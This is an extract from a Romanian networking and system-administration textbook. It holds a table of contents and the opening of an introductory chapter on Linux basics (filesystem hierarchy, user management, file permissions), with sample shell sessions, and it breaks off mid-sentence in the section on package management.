Sunteți pe pagina 1din 418

0 Introducere n sisteme de operare .........................................................................................

1
0.1 Ce este un sistem de operare? ....................................................................................... 1
0.1.1 Ce nseamn administrarea unui sistem de operare?............................................... 2
0.2 Noiuni de baz pentru administrarea unui sistem de operare Linux............................ 2
0.2.1 Componentele unui sistem GNU/Linux. Distribuii ................................................... 3
0.2.2 Sistemul de fiiere ..................................................................................................... 3
0.2.3 Gestiunea utilizatorilor .............................................................................................. 4
0.2.4 Drepturi pe sistemul de fiiere .................................................................................. 5
0.2.5 Gestiunea pachetelor ................................................................................................ 6
0.2.6 Gestiunea pachetelor DEB......................................................................................... 7
0.2.7 Gestiunea serviciilor .................................................................................................. 8
0.2.8 Shell scripting ............................................................................................................ 9
0.3 Introducere n Microsoft Windows Server 2008 .......................................................... 12
0.3.1 Despre Microsoft Windows Server 2008 ................................................................. 12
0.3.2 Windows PowerShell ............................................................................................... 13
1 Nivelul fizic ............................................................................................................................ 32
1.1 Semnale ........................................................................................................................ 32
1.1.1 Tipuri de semnale .................................................................................................... 32
1.1.2 Codarea ................................................................................................................... 34
1.1.3 Modularea ............................................................................................................... 36
1.1.4 Multiplexarea .......................................................................................................... 37
1.1.5 Caracteristici ale semnalului ................................................................................... 38
1.2 Soluii de comunicaie pe cupru ................................................................................... 41
1.2.1 Cablul coaxial ........................................................................................................... 41
1.2.2 Cablul torsadat ........................................................................................................ 41
1.3 Soluii de comunicaie pe fibr optic .......................................................................... 46
1.3.1 multi-mode .............................................................................................................. 48
1.3.2 single-mode ............................................................................................................. 48
1.3.3 Comparaie ntre single-mode i multi-mode ......................................................... 48
1.3.4 Mod de construcie, conectori ................................................................................ 49
1.3.5 Multiplexarea prin divizarea lungimii de und WDM .......................................... 52
1.3.6 Comparaie ntre fibra optic i cablul UTP ............................................................. 53
1.4 Caracteristici ale mediilor de transmisie ...................................................................... 54
1.4.1 Frecvena ................................................................................................................. 54
1.4.2 Limea de band .................................................................................................... 54
1.4.3 Uniti de msur .................................................................................................... 54
1.4.4 Baseband i broadband ........................................................................................... 55
1.5 Echipamente de reea de nivel fizic ............................................................................. 56
1.5.1 Repetorul ................................................................................................................. 56
1.5.2 Convertorul ............................................................................................................. 58
1.6 Studii de caz .................................................................................................................. 58
1.6.1 Realizarea patch-urilor UTP straight-through, crossover, rollover ......................... 58
2 Reele Ethernet..................................................................................................................... 60
2.1 Noiuni generale ........................................................................................................... 60
2.1.1 Structura cadrului Ethernet ..................................................................................... 61
2.1.2 CSMA/CD ................................................................................................................. 62
2.1.3 Full-duplex Ethernet ................................................................................................ 64
2.2 Ethernet switching ....................................................................................................... 65
2.2.1 nvarea adreselor ................................................................................................. 66
2.2.2 Deciziile de comutare .............................................................................................. 67
2.2.3 Evitarea buclelor de nivel doi STP ........................................................................ 68
2.2.4 Metode de comutare .............................................................................................. 73
2.2.5 Switch vs. Bridge ..................................................................................................... 74
ii | R e e l e L o c a l e

2.3 Reele locale virtuale .................................................................................................... 75
2.3.1 Tipuri de VLAN-uri ................................................................................................... 78
2.3.2 Legturi acces/trunchi ............................................................................................. 79
2.3.3 Metode de identificare ............................................................................................ 79
2.4 Rutare ntre VLAN-uri ................................................................................................... 82
2.5 Rezumat ........................................................................................................................ 83
2.6 Studiu de caz:................................................................................................................ 84
2.6.1 Comenzi pe switchuri Cisco ..................................................................................... 84
2.6.2 ncapsularea pachetelor: dot1q .............................................................................. 87
2.7 Realizarea unui bridge ntre conexiuni n Windows Server 2008 ................................. 89
3 Adresarea IP.......................................................................................................................... 92
3.1 Prezentarea protocolului IP .......................................................................................... 92
3.1.1 Structura antetului IPv4 .......................................................................................... 92
3.1.2 Structura antetului IPv6 .......................................................................................... 94
3.1.3 Clase de adrese........................................................................................................ 95
3.1.4 Masca de reea ........................................................................................................ 97
3.1.5 Subreele ................................................................................................................. 98
3.1.6 Super-reele ............................................................................................................. 99
3.1.7 ARP ........................................................................................................................ 100
3.1.8 DHCP ...................................................................................................................... 105
3.2 Definirea parametrilor de reea n Linux .................................................................... 106
3.2.1 Configurarea temporar ........................................................................................ 106
3.2.2 Configurarea permanent ..................................................................................... 107
3.3 Configurarea serviciului DHCP pe un server Linux ..................................................... 108
3.3.1 Instalarea i configurarea serverului DHCP ........................................................... 108
3.3.2 DHCP Relay ............................................................................................................ 110
3.3.3 Exemplu de configurare DHCP .............................................................................. 110
3.4 Configurarea adreselor de reea n Windows Server 2008 ........................................ 112
3.4.1 Network and Sharing Center ................................................................................. 112
3.4.2 Network Connections ............................................................................................ 114
3.4.3 Vizualizarea parametrilor de reea ........................................................................ 116
3.4.4 Configurarea manual a adreselor IP .................................................................... 118
3.4.5 Definirea unei configuraii IP alternative .............................................................. 120
3.4.6 Asignarea automat a adreselor private (APIPA) .................................................. 121
3.5 Configurarea din linia de comand............................................................................. 122
3.5.1 Verificarea unei conexiuni ..................................................................................... 124
3.5.2 Configurri statice i dinamice prin PowerShelL ................................................... 126
3.6 Studiu de caz ............................................................................................................... 128
4 Rutarea n Internet ............................................................................................................. 132
4.1 Protocoale de rutare i protocoale rutate .................................................................. 132
4.1.1 Ce este Internetul? ................................................................................................ 132
4.1.2 Tabele de rutare .................................................................................................... 133
4.1.3 Clasificarea rutelor ................................................................................................ 134
4.1.4 Rute statice ............................................................................................................ 136
4.2 Protocoale rutate ....................................................................................................... 136
4.3 Protocoale de rutare .................................................................................................. 137
4.3.1 Determinarea cii optime ..................................................................................... 137
4.3.2 Clasificarea protocoalelor de rutare ..................................................................... 138
4.3.3 Protocoale distance-vector ................................................................................... 138
4.3.4 Protocoale link state .............................................................................................. 139
4.4 Sisteme autonome...................................................................................................... 139
4.4.1 Ce este un sistem autonom? ................................................................................. 139
4.4.2 Protocoale de rutare inter-AS ............................................................................... 140
iii | C u p r i n s

4.5 Configurri la nivel de router n Linux ........................................................................ 141
4.5.1 Activarea rutrii ..................................................................................................... 141
4.5.2 Configurarea rutelor .............................................................................................. 142
4.6 NAT - Network Address Translation ........................................................................... 144
4.6.1 Translatarea de adrese n Linux ............................................................................ 146
4.6.2 Alterarea avansat a pachetelor ........................................................................... 147
4.6.3 Tunelare ................................................................................................................ 148
4.6.4 Configurarea tunelului GRE n Linux ...................................................................... 149
4.7 Rutarea n Windows Server 2008 ............................................................................... 150
4.7.1 Routing and remote access services ..................................................................... 150
4.8 Studii de caz ................................................................................................................ 157
4.8.1 ncapsularea pachetelor: exemplificare port forwarding ..................................... 157
4.8.2 ncapsularea pachetelor: exemplu de tunelare .................................................... 158
5 Wireless .............................................................................................................................. 162
5.1 Introducere n reele wireless .................................................................................... 162
5.1.1 Introducere n comunicarea wireless .................................................................... 162
5.1.2 Considerente de nivel fizic .................................................................................... 163
5.1.3 Standarde pentru reele locale (WLANs) .............................................................. 165
5.1.4 Wireless MAN ........................................................................................................ 167
5.1.5 Implementarea reelelor wireless ......................................................................... 167
5.1.6 Comunicarea wireless............................................................................................ 170
5.1.7 Securitatea wireless ............................................................................................... 175
5.2 Configurarea unei reele wireless n Linux configurri de baz .............................. 176
5.2.1 De ce wireless pe Linux? ........................................................................................ 176
5.2.2 Configurri de baz ............................................................................................... 177
5.3 Configurarea unei reele wireless n Linux - configurri avansate ............................. 184
5.3.1 Partajarea unei conexiuni la Internet ntr-o reea ad hoc ..................................... 184
5.3.2 Configurri de securitate n wireless ..................................................................... 186
5.4 Wireless n Windows Server 2008 .............................................................................. 191
5.4.1 Activarea serviciului Wireless n Windows Server 2008 ........................................ 191
5.4.2 Configurarea profilurilor wireless .......................................................................... 191
5.4.3 Conectarea la o reea wireless .............................................................................. 192
5.4.4 Managementul conexiunilor wireless ................................................................... 195
5.4.5 Conexiuni wireless ad hoc ..................................................................................... 196
5.5 Administrarea n linie de comand i PowerShell ...................................................... 198
5.5.1 Managementul serviciului wireless prin netsh wlan ............................................. 198
5.5.2 Managementul serviciului wireless prin PowerShell ............................................. 202
6 Securitate i monitorizare .................................................................................................. 206
6.1 Secure Shell (SSH) ....................................................................................................... 206
6.1.1 Protocolul SSH ....................................................................................................... 207
6.1.2 Configuraii de baz SSH ....................................................................................... 209
6.1.3 Configuraii avansate SSH ..................................................................................... 212
6.2 Firewall ....................................................................................................................... 215
6.2.1 Filtrarea de pachete .............................................................................................. 216
6.2.2 Translatarea de adrese .......................................................................................... 218
6.2.3 Configurri avansate iptables ................................................................................ 220
6.3 Capturare pachetelor i analiza pachetelor. IDS/IPS. ................................................ 221
6.3.1 Wireshark configurri de baz ........................................................................... 221
6.3.2 Wireshark configurri avansate ......................................................................... 224
6.3.3 Snort captur de pachete n linie de comand. IDS/IPS. .................................... 225
6.4 Securitate i monitorizare n Windows Server 2008 .................................................. 230
6.4.1 Windows Firewall with Advanced Security ........................................................... 230
6.4.2 Monitorizare .......................................................................................................... 241
iv | R e e l e L o c a l e

7 DNS ..................................................................................................................................... 245
7.1 Protocolul DNS ............................................................................................................ 245
7.1.1 Domenii DNS ......................................................................................................... 245
7.1.2 Tipuri de servere DNS ............................................................................................ 247
7.1.3 Tratarea unei cereri DNS ....................................................................................... 249
7.1.4 Structura bazei de date DNS. ................................................................................ 251
7.2 Configurri de baz DNS ............................................................................................. 253
7.2.1 Configurarea clientului DNS pe Linux .................................................................... 253
7.2.2 Utilitare de interogare DNS ................................................................................... 253
7.2.3 Configurarea serverului DNS BIND9 ................................................................... 254
7.3 Configurri avansate DNS ........................................................................................... 264
7.3.1 Delegarea unui subdomeniu DNS. ........................................................................ 264
7.3.2 Efectuarea DNS load-balancing. ............................................................................ 265
7.3.3 Configurarea DNS Master/Slave. ........................................................................... 266
7.4 Configurarea unui server DNS pe Windows Server 2008 ........................................... 267
7.4.1 Instalare i configurare .......................................................................................... 268
7.5 Configurri n linie de comand ................................................................................. 278
7.5.1 Fiierul Hosts ......................................................................................................... 278
7.5.2 Ipconfig .................................................................................................................. 278
7.5.3 Dnscmd .................................................................................................................. 279
7.5.4 Nslookup ................................................................................................................ 280
8 E-mail .................................................................................................................................. 283
8.1 Arhitectur i funcionare. Protocoale ....................................................................... 284
8.1.1 Funcionarea serviciului de e-mail ........................................................................ 284
8.1.2 Formatul mesajelor ............................................................................................... 286
8.1.3 SMTP (Simple Mail Transfer Protocol) .................................................................. 287
8.1.4 POP3 (Post Office Protocol)................................................................................... 288
8.1.5 IMAP (Internet Message Access Protocol) ............................................................ 289
8.2 Formatul csuei potale ............................................................................................ 289
8.2.1 mbox ...................................................................................................................... 289
8.2.2 Maildir ................................................................................................................... 290
8.3 Clieni de e-mail .......................................................................................................... 290
8.3.1 mailx ...................................................................................................................... 291
8.4 MTA ............................................................................................................................ 291
8.5 Postfix ......................................................................................................................... 292
8.5.1 Arhitectur ............................................................................................................ 292
8.5.2 Instalare ................................................................................................................. 292
8.5.3 Interaciunea cu Postfix ......................................................................................... 293
8.5.4 Fiiere de configurare ............................................................................................ 293
8.5.5 Configurare de baz .............................................................................................. 294
8.5.6 Configurare utilizatori virtuali i csue potale virtuale ...................................... 296
8.5.7 Configurare suport SASL i TLS .............................................................................. 299
8.6 MDA ............................................................................................................................ 300
8.6.1 Procmail ................................................................................................................. 300
8.7 Servere de IMAP ......................................................................................................... 303
8.7.1 Courier IMAP Server .............................................................................................. 303
8.8 Webmail ..................................................................................................................... 305
8.9 Studii de caz ................................................................................................................ 305
8.9.1 Comenzi SMTP. Transmiterea unui mesaj folosind SMTP ..................................... 305
8.9.2 Comenzi POP3. Citirea unui mesaj folosind POP3................................................. 306
9 World Wide Web ................................................................................................................ 310
9.1 Modul de funcionare a Web-ului .............................................................................. 310
9.1.1 Uniform Resource Locator (URL) ........................................................................... 311
v | C u p r i n s

9.1.2 Hypertext Transfer Protocol .................................................................................. 311
9.1.3 HyperText Markup Language ................................................................................ 312
9.1.4 Clieni web ............................................................................................................. 313
9.1.5 Servere web ........................................................................................................... 313
9.2 Apache HTTP Server ................................................................................................... 314
9.2.1 Instalare ................................................................................................................. 315
9.2.2 Interaciunea cu serverul web............................................................................... 315
9.2.3 Configurare global ............................................................................................... 316
9.2.4 Gzduire virtual ................................................................................................... 328
9.3 Configurare suport SSL pentru Apache ...................................................................... 331
9.3.1 Activare modul. Configurare Port ......................................................................... 331
9.3.2 Generare certificat ................................................................................................ 332
9.3.3 Configurare virtual host ........................................................................................ 332
9.4 IIS 7 i Windows Server 2008...................................................................................... 333
9.4.1 Avantajele lui IIS 7 ................................................................................................. 334
9.4.2 Instalarea IIS 7 ....................................................................................................... 334
9.4.3 Interfaa de administrare ...................................................................................... 337
9.4.4 Adugarea unui site web ....................................................................................... 339
9.4.5 Configurarea site-urilor ......................................................................................... 341
9.4.6 Securitate .............................................................................................................. 345
9.4.7 Crearea i ntreinerea jurnalelor .......................................................................... 348
9.4.8 Crearea de directoare virtuale .............................................................................. 349
9.4.9 Aplicaie: Integrarea IIS 7 i PHP ........................................................................... 350
9.5 IIS 7 Configurri n linie de comand ....................................................................... 351
10 Securitatea reelei .......................................................................................................... 355
10.1 Riscuri de securitate ............................................................................................... 355
10.1.1 Principii de baz .................................................................................................. 355
10.1.2 Tipuri de atacuri de reea .................................................................................... 356
10.1.3 Prevenirea atacurilor ........................................................................................... 364
10.2 Auditarea reelei ..................................................................................................... 365
10.3 Utilitare pentru asigurarea securitii .................................................................... 368
10.3.1 Nmap ................................................................................................................... 368
10.3.2 Metasploit ........................................................................................................... 370
10.4 Studii de caz ............................................................................................................ 373
10.4.1 ARP Poisoning ...................................................................................................... 373
10.4.2 Firewalking .......................................................................................................... 377
11 Protocoale de nivel transport ......................................................................................... 380
11.1 Noiuni generale ..................................................................................................... 380
11.2 UDP ......................................................................................................................... 381
11.2.1 Caracteristici UDP ................................................................................................ 381
11.2.2 Formatul datagramelor UDP ............................................................................... 381
11.3 TCP .......................................................................................................................... 382
11.3.1 Caracteristici TCP ................................................................................................. 382
11.3.2 Formatul segmentelor TCP .................................................................................. 383
11.3.3 Conexiunea i comunicaia TCP ........................................................................... 384
11.3.4 Controlul fluxului ................................................................................................. 392
11.4 Studiu de caz: Fragmentarea pachetelor UDP ....................................................... 395
12 Anexe .............................................................................................................................. 399
12.1 Anexa 1: Instalare Windows Server 2008 ............................................................... 399
12.2 Anexa 2: Sistemul de boot n Windows Server 2008.............................................. 404

1 | C u p r i n s

0 Introducere n sisteme de operare
One of the main advantages of Unix over, say, VMS, is the tremendous number of features
Unix lacks.
Chris Torek
Ce se nva din acest capitol?
Noiunile de baz n administrarea unui sistem de operare
Administrarea unui sistem Linux
Noiuni de baz n shell scripting
Administrarea unui sistem Windows
Windows PowerShell
Cine este...
Linus Torvalds este programator finlandez, cunoscut cel mai bine ca arhitectul ef al
nuceulului Linux (BDFL Benevolent Dictator For Life). Dup ce a primit o copie a
sistemului MINIX, a nceput lucrul la scrierea Linux pentru i386. S-a mutat in Statele Unite
unde susine micarea Open Software prin intermediul Linux Foundation. Este angajat al
Open Source Development Labs. Dezvolt n continuare kernelul Linux n cadrul comunitii
Linux.
Alan Cox este un programator britanic implicat n dezvoltarea nucleul Linux. n timp ce
era angajat la Universitatea Swansea din ara Galilor a instalat o distribuie de Linux ntr-o
reea intens folosit. A nceput s rezolve numeroase bug-uri i a rescris aproape integral
partea de reea din kernel. A ntreinut versiunea 2.2 de Linux, apoi a dezvoltat propria
versiune 2.4. A fost pentru o mult vreme considerat n cadrul comunitii Linux secundul
lui Linus Torvalds. Este un puternic susintor nrit programelor free/open-source.
David Miller este un dezvoltator al nucleului Linux implicat la partea de networking i
SPARC. A portat Linux pe arhitectura Sun Microsystem SPARC, argumentnd de ce Linux
merge mai bine dect Solaris. Este dezvolatorul stivei TCP/IP din Linux i unul din principalii
contribuitori la mbuntirea performaelor Linux n reelele cu trafic intens.
Dave Cutler este designer i devoltator al sistemelor de operare de la DEC (RSX-11M,
VMS, VAXELN) i de la Microsoft (Windows NT). S-a mutat de la DEC la Microsoft pentru a
conduce dezvoltarea Windows NT concentrndu-se pe implementarea sistemului de
operare pe procesorul pe 64bii Alpha de la DEC. Dupa dispariia DEC, a lucrat la portarea
Windows pe AMD 64.
0.1 Ce este un sistem de operare?
Un sistem de operare este definit de obicei ca un set de programe care faciliteaz accesul
utilizatorului la resursele sistemului. Din punct de vedere conceptual sistemul de operare este
vzut ca o abstractizare sau ca o extensie a mainii fizice.
Componentele principale ale unui sistem de operare complet, aa cum este el vzut de
utilizator, sunt prezentate n figur. Cele trei componente sunt:
aplicaiile: programe folosite direct de utilizator pentru rezolvarea unor sarcini specifice; n
aceast categorie intr suita Office, browser-e, clieni de e-mail, aplicaii multimedia, medii de
dezvoltare integrate etc.
aplicaii de baz: programele folosite n principal pentru gestiunea i administrarea sistemului
sau pentru a asigura servii aplicaiilor de nivel nalt; n aceast categorie intr interpretorul de
comenzi, compilatoare, linker-e, biblioteci etc.
2 | R e e l e L o c a l e

nucleul sau kernel-ul: componenta de baz (inima) sistemului de operare; conine cod care va
fi rulat n nivelul privilegiat al procesorului (supervisor) cu scopul de intermediere a accesului la
resursele fizice ale sistemului i de gestiune a acestora; nucleul este componenta esenial care
stabilete nivelul de performan i de securitate a sistemului de operare.








0-1: Structura unui sistem de operare
Dei n lumea sistemelor de operare exist o mare diversitate, cteva sisteme de operare
au o cot de pia i de utilizare relevant. Din punct de vedere al destinaiei, sistemele de
operare moderne se mpart n sisteme de operare desktop (Windows XP, Ubuntu, Fedora,
Xandros, Mac OS X), sisteme de operare server (Windows 2003 Server, Windows 2008 Server,
Ubuntu Server, RedHat Enterprise Linux) i sisteme de operare embedded (Windows CE,
Windows Mobile, Symbian, Linux).
Familiile de sisteme de operare cu o cot semnificativ n pia sunt familia Windows,
familia Mac OS, familia GNU/Linux i familia BSD. Sistemul de operare cu cea mai mare cot pe
piaa dispozitivelor integrate este Symbian.
0.1.1 Ce nseamn administrarea unui sistem de operare?
Administrarea unui sistem de operare sau system administration se refer la activitile de
instalare, ntreinere i suport pentru sisteme de calcul (de obicei servere) i configurarea
serviciilor pe care aceste sisteme le ofer. Un administrator de sistem este n general o
persoan ce deine un spectru larg de cunotine tehnice i abiliti de organizare i
supervizare a diverselor activiti asociate.
Un administrator de sistem nu este un programator sau inginer software. Dei un
administrator nu proiecteaz sau implementeaz, de obicei, aplicaii noi, nelegerea
diverselor programe este necesar. De asemenea, anumite limbaje de programare sunt
folosite pentru automatizarea sarcinilor comune. O cerin important este nelegerea i
implementarea soluiilor de securitate legate de buna funcionare a sistemului.
n general, un administrator de sistem are cunotinte aprofundate de scripting care i
permit automatizarea sarcinilor i obinerea periodic de informaii.
Diverse organizaii ofer training i examene de certificare pentru administratorii de
sistem pentru diverse sisteme de operare: MCSA (Microsoft Certified System Engineer), RHCE
(RedHat Certified Engineer), SCNA (Sun Certified Network Administrator).
0.2 Noiuni de baz pentru administrarea unui sistem de operare Linux
Cunotinele i activitile necesare pentru adminstrarea unui sistem de operare Linux
sunt similare cu cele necesare pentru orice sistem Unix. Componentele importante sunt
gestiunea dispozitivelor hardware, sistemului de fiiere, gestiunea utilizatorilor, gestiunea
aplicaii
aplicaii de baz
nucleu
kernel space
user space
3 | C u p r i n s

pachetelor de programe, gestiunea serviciilor, asigurarea securitii sistemului, automatizarea
sarcinilor.
Aceast carte se va referi cu predilecie la gestiunea serviciilor. Vor fi prezentate i
informaii utile despre alte componente necesare.
Majoritatea interaciunii administratorului de sistem cu sistemul de operare Linux se va
realiza prin intermediul interfeei n linia de comand (shell) i a fiierelor de configurare text
(cu ajutorul unui editor). Se vor considera acoperite cunotinele de baz despre utilizarea
interfeei n linia de comand i editarea fiierelor de configurare.
0.2.1 Componentele unui sistem GNU/Linux. Distribuii
Un sistem de operare GNU/Linux este compus din nucleul (kernel-ul) Linux i aplicaiile ce
ruleaz peste acesta. O bun parte din aceste aplicaii sunt parte din proiectul GNU
1
.
Una dintre cele mai importante aplicaii este interpretorul de comenzi (shell-ul). Shell-ul
implicit pe majoritatea distribuiilor Linux este Bash. Shell-ul acioneaz ca un intermediar
ntre utilizator i nucleu. Shell-ul transform comenzile introduse de utilizator n procese care
folosesc nucleul pentru realizarea unei sarcini.
Alte aplicaii de baz importante sunt editoare, compilatoare, biblioteci. n general
aplicaiile grafice lipsesc de pe un sistem server, interaciunea realizndu-se aproape exclusiv
prin intermediul interfeei n linie de comand.
Spre deosebire de multe alte sisteme de operare, dezvoltarea nucleului i a aplicaiilor se
realizeaz diferit. Agregarea acestor componente se realizeaz prin intermediul unei distribuii
GNU/Linux. Exist sute de distribuii Linux, printre cele mai cunoscute numrndu-se Ubuntu,
Fedora/RedHat, SuSE, Debian, Gentoo, Slackware etc.
Unele distribuii sunt similare. Un astfel de exemplu sunt distribuiile Debian-based:
Debian, Ubuntu, MEPIS, Damn Small Linux, Xandros, Linspire. Aceste distribuii folosesc
pachetele software puse la dispoziie de proiectul Debian (actualmente n numr de peste
26000) i sistemul APT
2
de gestiune a pachetelor.
0.2.2 Sistemul de fiiere
Nucleul Linux ofer suport pentru un numr impresionat de sisteme de fiiere. Cu toate
acestea, interfaa oferit utilizatorului este aceeai indiferent de tipul sistemului de fiiere din
spate. n general, denumirile diverselor fiiere i directoare sunt simple pentru a putea fi
folosite eficient din linia de comand (/bin, /var, /usr, /lib). n opoziie, Mac OS X folosete
denumiri mai clare (/Library/, /Applications/, /Users/). Separatorul folosit este / (slash).
Majoritatea distribuiilor Linux ofer o interfa compatibil cu Filesystem Hierarchy
Standard
3
. FHS definete numele directoarelor principale i a coninutului acestora ntr-o
distribuie Linux. Cteva din intrrile importante sunt precizate n tabelul de mai jos:

Director Descriere
/
Rdcina sistemului de fiiere
/bin/
Executabile (binare) asociate comenzilor importante
/dev/
Dispozitive (/dev/null, /dev/hda, /dev/random)
/etc/
Fiiere de configurare

1
http://www.gnu.org/
2
http://www.debian.org/doc/manuals/apt-howto/
3
http://www.pathname.com/fhs/
4 | R e e l e L o c a l e

/home/
Directoarele home ale utilizatorilor
/lib/
Biblioteci
/mnt/
Sisteme de fiiere montate temporar
/proc/
Sistemul de fiiere procfs
/root/
Home-ul utilizatorului privilegiat (root)
/sbin/
Executabilele comenzilor ce necesit drepturi de utilizator privilegiat
/usr/
Ierarhie secundar: conine binare (/usr/bin), biblioteci (/usr/lib)
/var/
Fiiere variabile (jurnale, cozi, temporare)
/var/log/
Fiiere de jurnalizare pentru diverse aplicaii

Comenzile de baz pentru interaciunea cu sistemul de fiiere sunt: pwd, ls, cd, touch, rm,
mkdir, rmdir, cp, mv, link, unlink.
0.2.3 Gestiunea utilizatorilor
Gestiunea utilizatorilor se refer la adugarea de noi utilizatori, tergerea unui utilizator
existent, modificarea informaiilor despre un utilizator i afiarea diverselor informaii.
n sistemele Unix, informaiile despre utilizatori sunt reinute n fiierul /etc/passwd.
Fiecare linie din acest fiier conine numele utilizatorului, identificatorului su, home-ul, shell-
ul rulat n momentul autentificrii i alte informaii de descriere:
anaconda:~# cat /etc/passwd
andreir:x:1114:1026:Andrei Rizoiu:/home/students/andreir:/bin/bash
alexn:x:1115:1026:Alex Negrea:/home/students/alexn:/bin/bash
[...]
Din motive de securitate, hash-ul asociat parolei nu se gsete n fiierul /etc/passwd, ci
n fiierul /etc/shadow care nu poate fi accesat de majoritatea utilizatorilor:
anaconda:~# ls -l /etc/shadow
-rw-r----- 1 root shadow 7068 2008-09-12 11:59 /etc/shadow
Pentru a afla informaii despre un utilizator al sistemului se pot folosi comnzile id sau
finger:
anaconda:~# id andreir
uid=1114(andreir) gid=1026(students) groups=1026(students),1037(rl)
anaconda:~# finger alexn
Login: alexn Name: Alex Negrea
Directory: /home/students/alexn Shell: /bin/bash
Never logged in.
No mail.
No Plan.
Utilizatorul privilegiat ntr-un sistem Unix este utilizatorul root cu uid-ul 0 i home-ul n
/root:
anaconda:~# head -1 /etc/passwd
root:x:0:0:root:/root:/bin/bash
Utilizatorul root (de fapt utilizatorul cu uid-ul 0) are drepturi absolute n cadrul sistemului
i poate rula orice comand. Se recomand folosirea unui cont neprivilegiat. Doar atunci cnd
este nevoie se va folosi contul privilegiat.
Schimbarea unui utilizator se realizeaz cu ajutorul comenzii su urmat de introducerea
parolei pentru acel utilizator. Dac utilizatorul iniial este root, nu se solicit introducerea
parolei:
anaconda:~# head -1 /etc/passwd
5 | C u p r i n s

root:x:0:0:root:/root:/bin/bash
anaconda:~# su - andreir
andreir@anaconda:~$ su - razvan
Password:
Sistemele Ubuntu dezactiveaz, de obicei, utilizatorul root i recomand folosirea
comenzii sudo. Comanda sudo, mpreun cu fiierul /etc/sudoers permite rularea de
comenzi privilegiate de ctre un utilizator neprivilegiat. De obicei, un utilizator neprivilegiat
care are drept de sudo va rula comanda sudo bash pentru a obine un shell cu drepturi
privilegiate.
Schimbarea parolei unui utilizator se realizeaz cu ajutorul comenzii passwd. Utilizatorul
privilegiat poate schimba parola oricrui utilizator. Un utilizator neprivilegiat i poate schimba
parola doar siei:
anaconda:~# passwd guest
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
n sistemele Debian-based, adugarea, respectiv tergerea unui utilizator se realizeaz prin
intermediul scripturilor adduser i deluser:
anaconda:~# adduser test
Adding user `test' ...
Adding new group `test' (1038) ...
Adding new user `test' (1003) with group `test' ...
Creating home directory `/home/test' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for test
Enter the new value, or press ENTER for the default
Full Name []: Test User
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [y/N] y
anaconda:~# id test
uid=1003(test) gid=1038(test) groups=1038(test)
anaconda:~# deluser --remove-home test
Looking for files to backup/remove ...
Removing files ...
Removing user `test' ...
Done.
Avantajul i, n acelai timp, dezavantajul folosirii comenzii adduser este interactivitatea.
Automatizarea sarcinilor presupune comenzi non-interactive. Pentru aceasta, se pot folosi
comenzile useradd, userdel i usermod. useradd, respectiv userdel sunt folosite de
scripturile adduser i deluser.
anaconda:~# useradd -m -d /home/test test
anaconda:~# id test
uid=1116(test) gid=1116(test) groups=1116(test)
anaconda:~# usermod -s /bin/sh test
anaconda:~# userdel -r test
anaconda:~# id test
id: test: No such user
0.2.4 Drepturi pe sistemul de fiiere
Tradiional, sistemele Unix folosesc un sistem simplificat de asociere a drepturilor pe o
intrare n sistemul de fiiere. Orice fiier este deinut de un utilizator i un grup. Exist astfel
trei categorii de utilizatori: utilizatorul care deine fiierul (user), grupul care deine fiierul
(group), ceilali utilizatori (others). Prescurtat cele trei categorii sunt denumite ugo.
Fiecare dintre cele trei categorii are trei drepturi posibile: citire (read), scriere (write) i
execuie (execute). Prescurtat cele trei drepturi sunt denumite rwx. Fiecare din cele trei
categorii de utilizatori poate avea oricare i oricte din cele trei drepturi i sunt exprimate de
obicei ntr-o form liniar de comanda ls:
6 | R e e l e L o c a l e

anaconda:~# ls -l /etc/services
-rw-r--r-- 1 root root 18274 2007-02-02 04:09 /etc/services
anaconda:~# ls -l /var/mail/razvan
-rw-rw---- 1 razvan mail 0 2007-06-19 16:54 /var/mail/razvan
Exist i un echivalent binar al drepturilor exprimat n octal. Astfel, cele dou fiiere de mai
sus au drepturile 644, respectiv 660 n octal.
Cele trei drepturi de mai sus au semnificaii diferite cnd sunt folosite peste fiiere sau
directoare, conform tabelului de mai jos:

Drept Efect fiier Efect director
read Fiierul poate fi vizualizat (cat, less) Poate fi vizualizat coninutul su (ls)
write
Fiierul poate fi scris (un editor) sau
ters (rm)
Pot fi create/terse noi intrri (touch, rm,
mkdir, rmdir)
execute
Fiierul (binar sau script) poate fi
executat
Directorul poate fi parcurs (poate fi parte a
unei ci)
0-2: Drepturile directoarelor i fiierelor
Schimbarea drepturilor pe un fiier se realizeaz cu ajutorul comenzii chmod. Comanda are
efect doar dac este rulat de utilizatorul ce deine fiierul:
razvan@anaconda:/tmp$ touch a.txt
razvan@anaconda:/tmp$ ls -l a.txt
-rw-r--r-- 1 razvan razvan 0 Sep 12 17:47 a.txt
razvan@anaconda:/tmp$ chmod a+w a.txt
razvan@anaconda:/tmp$ ls -l a.txt
-rw-rw-rw- 1 razvan razvan 0 Sep 12 17:47 a.txt
razvan@anaconda:/tmp$ chmod u+x,g-r,o-w a.txt
razvan@anaconda:/tmp$ ls -l a.txt
-rwx-w-r-- 1 razvan razvan 0 Sep 12 17:47 a.txt
razvan@anaconda:/tmp$ chmod 744 a.txt
razvan@anaconda:/tmp$ ls -l a.txt
-rwxr--r-- 1 razvan razvan 0 Sep 12 17:47 a.txt
Schimbarea deintorului i grupului ce deine fiierul se realizeaz cu ajutorul comenzii
chown. Comanda chown poate fi rulat doar de utilizatorul privilegiat:
anaconda:/tmp# ls -l a.txt
-rwxr--r-- 1 razvan razvan 0 2008-09-12 17:47 a.txt
anaconda:/tmp# chown guest:projects a.txt
anaconda:/tmp# ls -l a.txt
-rwxr--r-- 1 guest projects 0 2008-09-12 17:47 a.txt
anaconda:/tmp# chown mircea a.txt
anaconda:/tmp# ls -l a.txt
-rwxr--r-- 1 mircea projects 0 2008-09-12 17:47 a.txt
0.2.5 Gestiunea pachetelor
Un pachet, sau un pachet software, este o aplicaie sau o component accesibil n forma
unei arhive care poate fi instalat de un sistem de gestiune a pachetelor (PMS Package
Management System). De obicei, pachetele reprezint programe precompilate care pot fi
instalate uor, spre deosebire de instalarea din surse care este mai anevoioas.
Lucrul cu pachete (instalare, dezinstalare, configurare) se realizeaz prin intermediul unui
sistem de gestiune a pachetelor (precum dpkg, rpm, pacman). Un astfel de pachet conine, n
afar de fiierele asociate programului i un set de metainformaii precum versiunea
pachetului, descrierea i dependine. PMS-ul folosete aceste informaii pentru a decide dac
se va realiza instalarea pachetului, upgrade-ul acestuia, instalarea dependinelor etc. O
dependin ntre pachetele A i B nseamn c instalarea pachetului A necesit instalarea
